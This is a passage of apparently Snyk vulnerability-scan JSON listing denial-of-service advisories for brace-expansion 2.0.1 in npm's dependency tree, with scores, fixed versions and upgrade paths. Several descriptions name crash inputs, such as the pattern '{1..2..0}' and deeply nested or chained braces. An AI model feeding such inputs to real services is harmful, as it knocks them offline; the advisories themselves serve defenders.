"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
